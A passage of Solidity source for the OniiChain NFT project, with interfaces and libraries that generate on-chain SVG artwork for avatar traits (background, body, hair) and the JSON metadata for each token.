generateAccessoryId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly an ID for the mask item /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the mask item id function generateMaskId(uint256 tokenId, uint256 seed) external view returns (uint8); /// @notice Generate randomly the skin colors /// @param tokenId the current tokenId /// @param seed Used for the initialization of the number generator. /// @return the skin item id function generateSkinId(uint256 tokenId, uint256 seed) external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; /// @title OniiChain NFTs Interface interface IOniiChain { /// @notice Details about the Onii struct Detail { uint8 hair; uint8 eye; uint8 eyebrow; uint8 nose; uint8 mouth; uint8 mark; uint8 earrings; uint8 accessory; uint8 mask; uint8 skin; bool original; uint256 timestamp; address creator; } /// @notice Returns the details associated with a given token ID. /// @dev Throws if the token ID is not valid. /// @param tokenId The ID of the token that represents the Onii /// @return detail memory function details(uint256 tokenId) external view returns (Detail memory detail); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "./details/BackgroundDetail.sol"; import "./details/BodyDetail.sol"; import "./details/HairDetail.sol"; import "./details/MouthDetail.sol"; import "./details/NoseDetail.sol"; import "./details/EyesDetail.sol"; import "./details/EyebrowDetail.sol"; import "./details/MarkDetail.sol"; import "./details/AccessoryDetail.sol"; import "./details/EarringsDetail.sol"; import "./details/MaskDetail.sol"; import "./DetailHelper.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; /// @notice Helper to generate SVGs library NFTDescriptor { struct SVGParams { uint8 hair; uint8 eye; uint8 eyebrow; uint8 nose; uint8 mouth; uint8 mark; uint8 earring; uint8 accessory; uint8 mask; uint8 background; uint8 skin; bool original; uint256 timestamp; address creator; } /// @dev Combine all the SVGs to generate the final image function generateSVGImage(SVGParams memory params) internal view returns (string memory) { return string( abi.encodePacked( generateSVGHead(), DetailHelper.getDetailSVG(address(BackgroundDetail), params.background), generateSVGFace(params), DetailHelper.getDetailSVG(address(EarringsDetail), params.earring), DetailHelper.getDetailSVG(address(HairDetail), params.hair), DetailHelper.getDetailSVG(address(MaskDetail), params.mask), DetailHelper.getDetailSVG(address(AccessoryDetail), params.accessory), generateCopy(params.original), "</svg>" ) ); } /// @dev Combine face items function generateSVGFace(SVGParams memory params) private view returns (string memory) { return string( abi.encodePacked( DetailHelper.getDetailSVG(address(BodyDetail), params.skin), DetailHelper.getDetailSVG(address(MarkDetail), params.mark), DetailHelper.getDetailSVG(address(MouthDetail), params.mouth), DetailHelper.getDetailSVG(address(NoseDetail), params.nose), DetailHelper.getDetailSVG(address(EyesDetail), params.eye), DetailHelper.getDetailSVG(address(EyebrowDetail), params.eyebrow) ) ); } /// @dev generate Json Metadata name function generateName(SVGParams memory params, uint256 tokenId) internal pure returns (string memory) { return string( abi.encodePacked( BackgroundDetail.getItemNameById(params.background), " Onii ", Strings.toString(tokenId) ) ); } /// @dev generate Json Metadata description function generateDescription(SVGParams memory params) internal pure returns (string memory) { return string( abi.encodePacked( "Generated by ", Strings.toHexString(uint256(uint160(params.creator))), " at ", Strings.toString(params.timestamp) ) ); } /// @dev generate SVG header function generateSVGHead() private pure returns (string memory) { return string( abi.encodePacked( '<svg version="1.1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px"', ' viewBox="0 0 420 420" style="enable-background:new 0 0 420 420;" xml:space="preserve">' ) ); } /// @dev generate the "Copy" SVG if the onii is not the original function generateCopy(bool original) private pure returns (string memory) { return !original ? string( abi.encodePacked( '<g id="Copy">', '<path fill="none" stroke="#F26559" stroke-width="0.5" stroke-miterlimit="10" d="M239.5,300.6c-4.9,1.8-5.9,8.1,1.3,4.1"/>', '<path fill="none" stroke="#F26559" stroke-width="0.5" stroke-miterlimit="10" d="M242.9,299.5c-2.6,0.8-1.8,4.3,0.8,4.2 C246.3,303.1,245.6,298.7,242.9,299.5"/>', '<path fill="none" stroke="#F26559" stroke-width="0.5" stroke-miterlimit="10" d="M247.5,302.9c0.2-1.6-1.4-4-0.8-5.4 c0.4-1.2,2.5-1.4,3.2-0.3c0.1,1.5-0.9,2.7-2.3,2.5"/>', '<path fill="none" stroke="#F26559" stroke-width="0.5" stroke-miterlimit="10" d="M250.6,295.4c1.1-0.1,2.2,0,3.3,0.1 c0.5-0.8,0.7-1.7,0.5-2.7"/>', '<path fill="none" stroke="#F26559" stroke-width="0.5" stroke-miterlimit="10" d="M252.5,299.1c0.5-1.2,1.2-2.3,1.4-3.5"/>', "</g>" ) ) : ""; } /// @dev generate Json Metadata attributes function generateAttributes(SVGParams memory params) internal pure returns (string memory) { return string( abi.encodePacked( "[", getJsonAttribute("Body", BodyDetail.getItemNameById(params.skin), false), getJsonAttribute("Hair", HairDetail.getItemNameById(params.hair), false), getJsonAttribute("Mouth", MouthDetail.getItemNameById(params.mouth), false), getJsonAttribute("Nose", NoseDetail.getItemNameById(params.nose), false), getJsonAttribute("Eyes", EyesDetail.getItemNameById(params.eye), false), getJsonAttribute("Eyebrow", EyebrowDetail.getItemNameById(params.eyebrow), false), abi.encodePacked( getJsonAttribute("Mark", MarkDetail.getItemNameById(params.mark), false), getJsonAttribute("Accessory", AccessoryDetail.getItemNameById(params.accessory), false), getJsonAttribute("Earrings", EarringsDetail.getItemNameById(params.earring), false), getJsonAttribute("Mask", MaskDetail.getItemNameById(params.mask), false), getJsonAttribute("Background", BackgroundDetail.getItemNameById(params.background), false), getJsonAttribute("Original", params.original ? "true" : "false", true), "]" ) ) ); } /// @dev Get the json attribute as /// { /// "trait_type": "Skin", /// "value": "Human" /// } function getJsonAttribute( string memory trait, string memory value, bool end ) private pure returns (string memory json) { return string(abi.encodePacked('{ "trait_type" : "', trait, '", "value" : "', value, '" }', end ? "" : ",")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; /// @title Helper for details generation library DetailHelper { /// @notice Call the library item function /// @param lib The library address /// @param id The item ID function getDetailSVG(address lib, uint8 id) internal view returns (string memory) { (bool success, bytes memory data) = lib.staticcall( abi.encodeWithSignature(string(abi.encodePacked("item_", Strings.toString(id), "()"))) ); require(success); return abi.decode(data, (string)); } /// @notice Generate a random number and return the index from the /// corresponding interval. /// @param max The maximum value to generate /// @param seed Used for the initialization of the number generator /// @param intervals the intervals /// @param selector Caller selector /// @param tokenId the current tokenId function generate( uint256 max, uint256 seed, uint256[] memory intervals, bytes4 selector, uint256 tokenId ) internal view returns (uint8) { uint256 generated = generateRandom(max, seed, tokenId, selector); return pickItems(generated, intervals); } /// @notice Generate random number between 1 and max /// @param max Maximum value of the random number /// @param seed Used for the initialization of the number generator /// @param tokenId Current tokenId used as seed /// @param selector Caller selector used as seed function generateRandom( uint256 max, uint256 seed, uint256 tokenId, bytes4 selector ) private view returns (uint256) { return (uint256( keccak256( abi.encodePacked(block.difficulty, block.number, tx.origin, tx.gasprice, selector, seed, tokenId) ) ) % (max + 1)) + 1; } /// @notice Pick an item for the given random value /// @param val The random value /// @param intervals The intervals for the corresponding items /// @return the item ID where : intervals[] index + 1 = item ID function pickItems(uint256 val, uint256[] memory intervals) internal pure returns (uint8) { for (uint256 i; i < intervals.length; i++) { if (val > intervals[i]) { return SafeCast.toUint8(i + 1); } } revert("DetailHelper::pickItems: No item"); } } // SPDX-License-Identifier: MIT /// @title Base64 /// @author Brecht Devos - <[email protected]> /// @notice Provides a function for encoding some bytes in base64 library Base64 { string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Background SVG generator library BackgroundDetail { /// @dev background N°1 => Ordinary function item_1() public pure returns (string memory) { return base("636363", "CFCFCF", "ABABAB"); } /// @dev background N°2 => Unusual function item_2() public pure returns (string memory) { return base("004A06", "61E89B", "12B55F"); } /// @dev background N°3 => Surprising function item_3() public pure returns (string memory) { return base("1A4685", "6BF0E3", "00ADC7"); } /// @dev background N°4 => Impressive function item_4() public pure returns (string memory) { return base("380113", "D87AE6", "8A07BA"); } /// @dev background N°5 => Extraordinary function item_5() public pure returns (string memory) { return base("A33900", "FAF299", "FF9121"); } /// @dev background N°6 => Phenomenal function item_6() public pure returns (string memory) { return base("000000", "C000E8", "DED52C"); } /// @dev background N°7 => Artistic function item_7() public pure returns (string memory) { return base("FF00E3", "E8E18B", "00C4AD"); } /// @dev background N°8 => Unreal function item_8() public pure returns (string memory) { return base("CCCC75", "54054D", "001E2E"); } /// @notice Return the background name of the given id /// @param id The background Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Ordinary"; } else if (id == 2) { name = "Unusual"; } else if (id == 3) { name = "Surprising"; } else if (id == 4) { name = "Impressive"; } else if (id == 5) { name = "Extraordinary"; } else if (id == 6) { name = "Phenomenal"; } else if (id == 7) { name = "Artistic"; } else if (id == 8) { name = "Unreal"; } } /// @dev The base SVG for the backgrounds function base( string memory stop1, string memory stop2, string memory stop3 ) private pure returns (string memory) { return string( abi.encodePacked( '<g id="Background">', '<radialGradient id="gradient" cx="210" cy="-134.05" r="210.025" gradientTransform="matrix(1 0 0 -1 0 76)" gradientUnits="userSpaceOnUse">', "<style>", ".color-anim {animation: col 6s infinite;animation-timing-function: ease-in-out;}", "@keyframes col {0%,51% {stop-color:none} 52% {stop-color:#FFBAF7} 53%,100% {stop-color:none}}", "</style>", "<stop offset='0' class='color-anim' style='stop-color:#", stop1, "'/>", "<stop offset='0.66' style='stop-color:#", stop2, "'><animate attributeName='offset' dur='18s' values='0.54;0.8;0.54' repeatCount='indefinite' keyTimes='0;.4;1'/></stop>", "<stop offset='1' style='stop-color:#", stop3, "'><animate attributeName='offset' dur='18s' values='0.86;1;0.86' repeatCount='indefinite'/></stop>", abi.encodePacked( "</radialGradient>", '<path fill="url(#gradient)" d="M390,420H30c-16.6,0-30-13.4-30-30V30C0,13.4,13.4,0,30,0h360c16.6,0,30,13.4,30,30v360C420,406.6,406.6,420,390,420z"/>', '<path id="Border" opacity="0.4" fill="none" stroke="#FFFFFF" stroke-width="2" stroke-miterlimit="10" d="M383.4,410H36.6C21.9,410,10,398.1,10,383.4V36.6C10,21.9,21.9,10,36.6,10h346.8c14.7,0,26.6,11.9,26.6,26.6v346.8 C410,398.1,398.1,410,383.4,410z"/>', '<path id="Mask" opacity="0.1" fill="#48005E" d="M381.4,410H38.6C22.8,410,10,397.2,10,381.4V38.6 C10,22.8,22.8,10,38.6,10h342.9c15.8,0,28.6,12.8,28.6,28.6v342.9C410,397.2,397.2,410,381.4,410z"/>', "</g>" ) ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Body SVG generator library BodyDetail { /// @dev Body N°1 => Human function item_1() public pure returns (string memory) { return base("FFEBB4", "FFBE94"); } /// @dev Body N°2 => Shadow function item_2() public pure returns (string memory) { return base("2d2d2d", "000000"); } /// @dev Body N°3 => Light function item_3() public pure returns (string memory) { return base("ffffff", "696969"); } /// @notice Return the skin name of the given id /// @param id The skin Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Human"; } else if (id == 2) { name = "Shadow"; } else if (id == 3) { name = "Light"; } } /// @dev The base SVG for the body function base(string memory skin, string memory shadow) private pure returns (string memory) { string memory pathBase = "<path fill-rule='evenodd' clip-rule='evenodd' fill='#"; string memory strokeBase = "' stroke='#000000' stroke-linecap='round' stroke-miterlimit='10'"; return string( abi.encodePacked( '<g id="Body">', pathBase, skin, strokeBase, " d='M177.1,287.1c0.8,9.6,0.3,19.3-1.5,29.2c-0.5,2.5-2.1,4.7-4.5,6c-15.7,8.5-41.1,16.4-68.8,24.2c-7.8,2.2-9.1,11.9-2,15.7c69,37,140.4,40.9,215.4,6.7c6.9-3.2,7-12.2,0.1-15.4c-21.4-9.9-42.1-19.7-53.1-26.2c-2.5-1.5-4-3.9-4.3-6.5c-0.7-7.4-0.9-16.1-0.3-25.5c0.7-10.8,2.5-20.3,4.4-28.2'/>", abi.encodePacked( pathBase, shadow, "' d='M177.1,289c0,0,23.2,33.7,39.3,29.5s40.9-20.5,40.9-20.5c1.2-8.7,2.4-17.5,3.5-26.2c-4.6,4.7-10.9,10.2-19,15.3c-10.8,6.8-21,10.4-28.5,12.4L177.1,289z'/>", pathBase, skin, strokeBase, " d='M301.3,193.6c2.5-4.6,10.7-68.1-19.8-99.1c-29.5-29.9-96-34-128.1-0.3s-23.7,105.6-23.7,105.6s12.4,59.8,24.2,72c0,0,32.3,24.8,40.7,29.5c8.4,4.8,16.4,2.2,16.4,2.2c15.4-5.7,25.1-10.9,33.3-17.4'/>", pathBase ), skin, strokeBase, " d='M141.8,247.2c0.1,1.1-11.6,7.4-12.9-7.1c-1.3-14.5-3.9-18.2-9.3-34.5s9.1-8.4,9.1-8.4'/>", abi.encodePacked( pathBase, skin, strokeBase, " d='M254.8,278.1c7-8.6,13.9-17.2,20.9-25.8c1.2-1.4,2.9-2.1,4.6-1.7c3.9,0.8,11.2,1.2,12.8-6.7c2.3-11,6.5-23.5,12.3-33.6c3.2-5.7,0.7-11.4-2.2-15.3c-2.1-2.8-6.1-2.7-7.9,0.2c-2.6,4-5,7.9-7.6,11.9'/>", "<polygon fill-rule='evenodd' clip-rule='evenodd' fill='#", skin, "' points='272,237.4 251.4,270.4 260.9,268.6 276.9,232.4'/>", "<path d='M193.3,196.4c0.8,5.1,1,10.2,1,15.4c0,2.6-0.1,5.2-0.4,7.7c-0.3,2.6-0.7,5.1-1.3,7.6h-0.1c0.1-2.6,0.3-5.1,0.4-7.7c0.2-2.5,0.4-5.1,0.6-7.6c0.1-2.6,0.2-5.1,0.1-7.7C193.5,201.5,193.4,198.9,193.3,196.4L193.3,196.4z'/>", "<path fill='#", shadow ), "' d='M197.8,242.8l-7.9-3.5c-0.4-0.2-0.5-0.7-0.2-1.1l3.2-3.3c0.4-0.4,1-0.5,1.5-0.3l12.7,4.6c0.6,0.2,0.6,1.1-0.1,1.3l-8.7,2.4C198.1,242.9,197.9,242.9,197.8,242.8z'/>", "</g>" ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; import "./constants/Colors.sol"; /// @title Hair SVG generator library HairDetail { /// @dev Hair N°1 => Classic Brown function item_1() public pure returns (string memory) { return base(classicHairs(Colors.BROWN)); } /// @dev Hair N°2 => Classic Black function item_2() public pure returns (string memory) { return base(classicHairs(Colors.BLACK)); } /// @dev Hair N°3 => Classic Gray function item_3() public pure returns (string memory) { return base(classicHairs(Colors.GRAY)); } /// @dev Hair N°4 => Classic White function item_4() public pure returns (string memory) { return base(classicHairs(Colors.WHITE)); } /// @dev Hair N°5 => Classic Blue function item_5() public pure returns (string memory) { return base(classicHairs(Colors.BLUE)); } /// @dev Hair N°6 => Classic Yellow function item_6() public pure returns (string memory) { return base(classicHairs(Colors.YELLOW)); } /// @dev Hair N°7 => Classic Pink function item_7() public pure returns (string memory) { return base(classicHairs(Colors.PINK)); } /// @dev Hair N°8 => Classic Red function item_8() public pure returns (string memory) { return base(classicHairs(Colors.RED)); } /// @dev Hair N°9 => Classic Purple function item_9() public pure returns (string memory) { return base(classicHairs(Colors.PURPLE)); } /// @dev Hair N°10 => Classic Green function item_10() public pure returns (string memory) { return base(classicHairs(Colors.GREEN)); } /// @dev Hair N°11 => Classic Saiki function item_11() public pure returns (string memory) { return base(classicHairs(Colors.SAIKI)); } /// @dev Hair N°12 => Classic 2 Brown function item_12() public pure returns (string memory) { return base(classicTwoHairs(Colors.BROWN)); } /// @dev Hair N°13 => Classic 2 Black function item_13() public pure returns (string memory) { return base(classicTwoHairs(Colors.BLACK)); } /// @dev Hair N°14 => Classic 2 Gray function item_14() public pure returns (string memory) { return base(classicTwoHairs(Colors.GRAY)); } /// @dev Hair N°15 => Classic 2 White function item_15() public pure returns (string memory) { return base(classicTwoHairs(Colors.WHITE)); } /// @dev Hair N°16 => Classic 2 Blue function item_16() public pure returns (string memory) { return base(classicTwoHairs(Colors.BLUE)); } /// @dev Hair N°17 => Classic 2 Yellow function item_17() public pure returns (string memory) { return base(classicTwoHairs(Colors.YELLOW)); } /// @dev Hair N°18 => Classic 2 Pink function item_18() public pure returns (string memory) { return base(classicTwoHairs(Colors.PINK)); } /// @dev Hair N°19 => Classic 2 Red function item_19() public pure returns (string memory) { return base(classicTwoHairs(Colors.RED)); } /// @dev Hair N°20 => Classic 2 Purple function item_20() public pure returns (string memory) { return base(classicTwoHairs(Colors.PURPLE)); } /// @dev Hair N°21 => Classic 2 Green function item_21() public pure returns (string memory) { return base(classicTwoHairs(Colors.GREEN)); } /// @dev Hair N°22 => Classic 2 Saiki function item_22() public pure returns (string memory) { return base(classicTwoHairs(Colors.SAIKI)); } /// @dev Hair N°23 => Short Black function item_23() public pure returns (string memory) { return base(shortHairs(Colors.BLACK)); } /// @dev Hair N°24 => Short Blue function item_24() public pure returns (string memory) { return base(shortHairs(Colors.BLUE)); } /// @dev Hair N°25 => Short Pink function item_25() public pure returns (string memory) { return base(shortHairs(Colors.PINK)); } /// @dev Hair N°26 => Short White function item_26() public pure returns (string memory) { return base(shortHairs(Colors.WHITE)); } /// @dev Hair N°27 => Spike Black function item_27() public pure returns (string memory) { return base(spike(Colors.BLACK)); } /// @dev Hair N°28 => Spike Blue function item_28() public pure returns (string memory) { return base(spike(Colors.BLUE)); } /// @dev Hair N°29 => Spike Pink function item_29() public pure returns (string memory) { return base(spike(Colors.PINK)); } /// @dev Hair N°30 => Spike White function item_30() public pure returns (string memory) { return base(spike(Colors.WHITE)); } /// @dev Hair N°31 => Monk function item_31() public pure returns (string memory) { return base(monk()); } /// @dev Hair N°32 => Nihon function item_32() public pure returns (string memory) { return base( string( abi.encodePacked( monk(), '<path opacity="0.36" fill="#6E5454" stroke="#8A8A8A" stroke-width="0.5" stroke-miterlimit="10" d=" M287.5,206.8c0,0,0.1-17.4-2.9-20.3c-3.1-2.9-7.3-8.7-7.3-8.7s0.6-24.8-2.9-31.8c-3.6-7-3.9-24.3-35-23.6 c-30.3,0.7-42.5,5.4-42.5,5.4s-14.2-8.2-43-3.8c-19.3,4.9-17.2,50.1-17.2,50.1s-5.6,9.5-6.2,14.8c-0.6,5.3-0.3,8.3-0.3,8.3 S111,72.1,216.8,70.4c108.4-1.7,87.1,121.7,85.1,122.4C295.4,190.1,293.9,197.7,287.5,206.8z"/>', '<g opacity="0.33">', '<ellipse transform="matrix(0.7071 -0.7071 0.7071 0.7071 0.367 227.089)" fill="#FFFFFF" cx="274.3" cy="113.1" rx="1.4" ry="5.3"/>', '<ellipse transform="matrix(0.5535 -0.8328 0.8328 0.5535 32.4151 255.0608)" fill="#FFFFFF" cx="254.1" cy="97.3" rx="4.2" ry="16.3"/>', "</g>", '<path fill="#FFFFFF" stroke="#2B232B" stroke-miterlimit="10" d="M136.2,125.1c0,0,72,9.9,162.2,0c0,0,4.4,14.9,4.8,26.6 c0,0-125.4,20.9-172.6-0.3C129.5,151.3,132.9,130.3,136.2,125.1z"/>', '<polygon fill="#FFFFFF" stroke="#2B232B" stroke-miterlimit="10" points="306.2,138 324.2,168.1 330,160"/>', '<path fill="#FFFFFF" stroke="#2B232B" stroke-miterlimit="10" d="M298.4,125.1l34.2,54.6l-18,15.5l-10.7-43.5 C302.3,142.2,299.9,128.8,298.4,125.1z"/>', '<ellipse opacity="0.87" fill="#FF0039" cx="198.2" cy="144.1" rx="9.9" ry="10.8"/>' ) ) ); } /// @dev Hair N°33 => Bald function item_33() public pure returns (string memory) { return base( string( abi.encodePacked( '<ellipse transform="matrix(0.7071 -0.7071 0.7071 0.7071 0.1733 226.5807)" fill="#FFFFFF" cx="273.6" cy="113.1" rx="1.4" ry="5.3"/>', '<ellipse transform="matrix(0.5535 -0.8328 0.8328 0.5535 32.1174 254.4671)" fill="#FFFFFF" cx="253.4" cy="97.3" rx="4.2" ry="16.3"/>' ) ) ); } /// @dev Generate classic hairs with the given color function classicHairs(string memory hairsColor) private pure returns (string memory) { return string( abi.encodePacked( "<path fill='#", hairsColor, "' stroke='#000000' stroke-width='0.5' stroke-miterlimit='10' d='M252.4,71.8c0,0-15.1-13.6-42.6-12.3l15.6,8.8c0,0-12.9-0.9-28.4-1.3c-6.1-0.2-21.8,3.3-38.3-1.4c0,0,7.3,7.2,9.4,7.7c0,0-30.6,13.8-47.3,34.2c0,0,10.7-8.9,16.7-10.9c0,0-26,25.2-31.5,70c0,0,9.2-28.6,15.5-34.2c0,0-10.7,27.4-5.3,48.2c0,0,2.4-14.5,4.9-19.2c-1,14.1,2.4,33.9,13.8,47.8c0,0-3.3-15.8-2.2-21.9l8.8-17.9c0.1,4.1,1.3,8.1,3.1,12.3c0,0,13-36.1,19.7-43.9c0,0-2.9,15.4-1.1,29.6c0,0,6.8-23.5,16.9-36.8c0,0-4.6,15.6-2.7,31.9c0,0,9.4-26.2,10.4-28.2l-2.7,9.2c0,0,4.1,21.6,3.8,25.3c0,0,8.4-10.3,21.2-52l-2.9,12c0,0,9.8,20.3,10.3,22.2s-1.3-13.9-1.3-13.9s12.4,21.7,13.5,26c0,0,5.5-20.8,3.4-35.7l1.1,9.6c0,0,15,20.3,16.4,30.1s-0.1-23.4-0.1-23.4s13.8,30.6,17,39.4c0,0,1.9-17,1.4-19.4s8.5,34.6,4.4,46c0,0,11.7-16.4,11.5-21.4c1.4,0.8-1.3,22.6-4,26.3c0,0,3.2-0.3,8.4-9.3c0,0,11.1-13.4,11.8-11.7c0.7,1.7,1.8-2.9,5.5,10.2l2.6-7.6c0,0-0.4,15.4-3.3,21.4c0,0,14.3-32.5,10.4-58.7c0,0,3.7,9.3,4.4,16.9s3.1-32.8-7.7-51.4c0,0,6.9,3.9,10.8,4.8c0,0-12.6-12.5-13.6-15.9c0,0-14.1-25.7-39.1-34.6c0,0,9.3-3.2,15.6,0.2C286.5,78.8,271.5,66.7,252.4,71.8z'/>", '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" d="M286,210c0,0,8.5-10.8,8.6-18.7"/>', '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-miterlimit="10" d="M132.5,190.4c0,0-1.3-11.3,0.3-16.9"/>', '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-miterlimit="10" d="M141.5,170c0,0-1-6.5,1.6-20.4"/>', '<path opacity="0.2" d="M267.7,151.7l-0.3,30.9c0,0,1.9-18.8,1.8-19.3s8.6,43.5,3.9,47.2c0,0,11.9-18.8,12.1-21.5s0,22-3.9,25c0,0,6-4.4,8.6-10.1c0,0,6.1-7,9.9-10.7c0,0,3.9-1,6.8,8.2l2.8-6.9c0,0,0.1,13.4-1.3,16.1c0,0,10.5-28.2,7.9-52.9c0,0,4.7,8.3,4.9,17.1c0.1,8.8,1.7-8.6,0.2-17.8c0,0-6.5-13.9-8.2-15.4c0,0,2.2,14.9,1.3,18.4c0,0-8.2-15.1-11.4-17.3c0,0,1.2,41-1.6,46.1c0,0-6.8-22.7-11.4-26.5c0,0,0.7,17.4-3.6,23.2C284.5,183.3,280.8,169.9,267.7,151.7z"/>', '<path opacity="0.2" d="M234.3,137.1c0,0,17.1,23.2,16.7,30.2s-0.2-13.3-0.2-13.3s-11.7-22-17.6-26.2L234.3,137.1z"/>', '<polygon opacity="0.2" points="250.7,143.3 267.5,162.9 267.3,181.9"/>', '<path opacity="0.2" d="M207.4,129.2l9.7,20.7l-1-13.7c0,0,11.6,21,13.5,25.4l1.4-5l-17.6-27.4l1,7.5l-6-12.6L207.4,129.2z"/>', '<path opacity="0.2" d="M209.2,118c0,0-13.7,36.6-18.5,40.9c-1.7-7.2-1.9-7.9-4.2-20.3c0,0-0.1,2.7-1.4,5.3c0.7,8.2,4.1,24.4,4,24.5S206.4,136.6,209.2,118z"/>', '<path opacity="0.2" d="M187.6,134.7c0,0-9.6,25.5-10,26.9l-0.4-3.6C177.1,158.1,186.8,135.8,187.6,134.7z"/>', '<path opacity="0.2" fill-rule="evenodd" clip-rule="evenodd" d="M180.7,129.6c0,0-16.7,22.3-17.7,24.2s0,12.4,0.3,12.8S165.9,153,180.7,129.6z"/>', '<path opacity="0.2" fill-rule="evenodd" clip-rule="evenodd" d="M180.4,130.6c0,0-0.2,20.5-0.6,21.5c-0.4,0.9-2.6,5.8-2.6,5.8S176.1,147.1,180.4,130.6z"/>', abi.encodePacked( '<path opacity="0.2" d="M163.9,138c0,0-16.3,25.3-17.9,26.3c0,0-3.8-12.8-3-14.7s-9.6,10.3-9.9,17c0,0-8.4-0.6-11-7.4c-1-2.5,1.4-9.1,2.1-12.2c0,0-6.5,7.9-9.4,22.5c0,0,0.6,8.8,1.1,10c0,0,3.5-14.8,4.9-17.7c0,0-0.3,33.3,13.6,46.7c0,0-3.7-18.6-2.6-21l9.4-18.6c0,0,2.1,10.5,3.1,12.3l13.9-33.1L163.9,138z"/>', '<path fill="#FFFFFF" d="M204,82.3c0,0-10.3,24.4-11.5,30.4c0,0,11.1-20.6,12.6-20.8c0,0,11.4,20.4,12,22.2C217.2,114.1,208.2,88.2,204,82.3z"/>', '<path fill="#FFFFFF" d="M185.6,83.5c0,0-1,29.2,0,39.2c0,0-4-21.4-3.6-25.5c0.4-4-13.5,19.6-16,23.9c0,0,7.5-20.6,10.5-25.8c0,0-14.4,9.4-22,21.3C154.6,116.7,170.1,93.4,185.6,83.5z"/>', '<path fill="#FFFFFF" d="M158.6,96.2c0,0-12,15.3-14.7,23.2"/>', '<path fill="#FFFFFF" d="M125.8,125.9c0,0,9.5-20.6,23.5-27.7"/>', '<path fill="#FFFFFF" d="M296.5,121.6c0,0-9.5-20.6-23.5-27.7"/>', '<path fill="#FFFFFF" d="M216.1,88.5c0,0,10.9,19.9,11.6,23.6s3.7-5.5-10.6-23.6"/>', '<path fill="#FFFFFF" d="M227,92c0,0,21.1,25.4,22,27.4s-4.9-23.8-12.9-29.5c0,0,9.5,20.7,9.9,21.9C246.3,113,233.1,94.1,227,92z"/>', '<path fill="#FFFFFF" d="M263.1,119.5c0,0-9.5-26.8-10.6-28.3s15.5,14.1,16.2,22.5c0,0-11.1-16.1-11.8-16.9C256.1,96,264.3,114.1,263.1,119.5z"/>' ) ) ); } /// @dev Generate classic 2 hairs with the given color function classicTwoHairs(string memory hairsColor) private pure returns (string memory) { return string( abi.encodePacked( "<polygon fill='#", hairsColor, "' points='188.2,124.6 198.3,128.1 211.2,124.3 197.8,113.2'/>", '<polygon opacity="0.5" points="188.4,124.7 198.3,128.1 211.7,124.2 197.7,113.6"/>', "<path fill='#", hairsColor, "' stroke='#000000' stroke-width='0.5' stroke-miterlimit='10' d='M274,209.6c1,0.9,10.1-12.8,10.5-18.3 c1.1,3.2-0.2,16.8-2.9,20.5c0,0,3.7-0.7,8.3-6.5c0,0,11.1-13.4,11.8-11.7c0.7,1.7,1.8-2.9,5.5,10.2l2.6-7.6 c0,0-0.4,15.4-3.3,21.4c0,0,14.3-32.5,10.4-58.7c0,0,3.7,9.3,4.4,16.9s3.1-32.8-7.7-51.4c0,0,6.9,3.9,10.8,4.8 c0,0-12.6-12.5-13.6-15.9c0,0-14.1-25.7-39.1-34.6c0,0,9.3-3.2,15.6,0.2c-0.1-0.1-15.1-12.2-34.2-7.1c0,0-15.1-13.6-42.6-12.3 l15.6,8.8c0,0-12.9-0.9-28.4-1.3c-6.1-0.2-21.8,3.3-38.3-1.4c0,0,7.3,7.2,9.4,7.7c0,0-30.6,13.8-47.3,34.2 c0,0,10.7-8.9,16.7-10.9c0,0-26,25.2-31.5,70c0,0,9.2-28.6,15.5-34.2c0,0-10.7,27.4-5.3,48.2c0,0,2.4-14.5,4.9-19.2 c-1,14.1,2.4,33.9,13.8,47.8c0,0-3.3-15.8-2.2-21.9l8.8-17.9c0.1,4.1,1.3,8.1,3.1,12.3c0,0,13-36.1,19.7-43.9 c0,0-2.9,15.4-1.1,29.6c0,0,7.2-26.8,17.3-40.1c0,0,0.8,0.1,17.6-7.6c6.3,3.1,8,1.4,17.9,7.7c4.1,5.3,13.8,31.9,15.6,41.5 